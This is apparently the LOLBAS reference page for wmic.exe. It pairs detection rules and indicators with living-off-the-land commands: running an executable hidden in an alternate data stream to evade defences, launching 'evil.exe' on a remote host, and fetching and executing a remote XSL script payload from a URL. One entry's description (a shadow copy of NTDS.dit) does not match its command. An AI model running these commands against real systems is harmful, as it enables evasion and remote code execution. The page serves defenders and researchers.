



# /Wmic.exe

☆ Star 7,060

Alternate data streams

Execute (WSH)

Copy

The WMI command-line (WMIC) utility provides a command-line interface for WMI

### Paths:

C:\Windows\System32\wbem\wmic.exe  
C:\Windows\SysWOW64\wbem\wmic.exe

### Resources:

- <https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory>
- <https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html>
- <https://twitter.com/subTee/status/986234811944648707>

### Acknowledgements:

- Casey Smith ([@subtee](#))
- Avihay Eldad ([@AvihayEldad](#))

### Detections:

- Sigma: [image\\_load\\_wmic\\_remote\\_xsl\\_scripting\\_dlls.yml](#)
- Sigma: [proc\\_creation\\_win\\_wmic\\_xsl\\_script\\_processing.yml](#)
- Sigma: [proc\\_creation\\_win\\_wmic\\_squiblytwo\\_bypass.yml](#)
- Sigma: [proc\\_creation\\_win\\_wmic\\_eventconsumer\\_creation.yml](#)
- Elastic: [defense\\_evasion\\_suspicious\\_wmi\\_script.toml](#)
- Elastic: [persistence\\_via\\_windows\\_management\\_instrumentation\\_event\\_subscription.toml](#)
- Elastic: [defense\\_evasion\\_suspicious\\_managedcode\\_host\\_process.toml](#)
- Splunk: [xsl\\_script\\_execution\\_with\\_wmic.yml](#)
- Splunk: [remote\\_wmi\\_command\\_attempt.yml](#)
- Splunk: [remote\\_process\\_instantiation\\_via\\_wmi.yml](#)
- Splunk: [process\\_execution\\_via\\_wmi.yml](#)
- BlockRule: <https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules>
- IOC: Wmic retrieving scripts from remote system/Internet location
- IOC: DotNet CLR libraries loaded into wmic.exe
- IOC: DotNet CLR Usage Log - wmic.exe.log
- IOC: wmiprivse.exe writing files

## Alternate data streams

Execute a .EXE file stored as an Alternate Data Stream (ADS)

```
wmic.exe process call create "c:\ads\file.txt:program.exe"
```

**Use case:** Execute binary file hidden in Alternate data streams to evade defensive counter measures  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** [T1564.004: NTFS File Attributes](#)

## Execute

- Execute calc from wmic

```
wmic.exe process call create calc
```

**Use case:** Execute binary from wmic to evade defensive counter measures  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** [T1218: System Binary Proxy Execution](#)

- Execute evil.exe on the remote system.

```
wmic.exe /node:"192.168.0.1" process call create "evil.exe"
```

**Use case:** Execute binary on a remote system  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** [T1218: System Binary Proxy Execution](#)

- Create a volume shadow copy of NTDS.dit that can be copied.

```
wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xml"
```

**Use case:** Execute binary on remote system  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** [T1218: System Binary Proxy Execution](#)

4. Executes JScript or VBScript embedded in the target remote XSL stylesheet.

```
wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xml"
```

**Use case:** Execute script from remote system  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** [T1218: System Binary Proxy Execution](#)  
**Tags:**

Execute: WSH

## Copy

Copy file from source to destination.

```
wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe"
```

**Use case:** Copy file.  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** [T1105: Ingress Tool Transfer](#)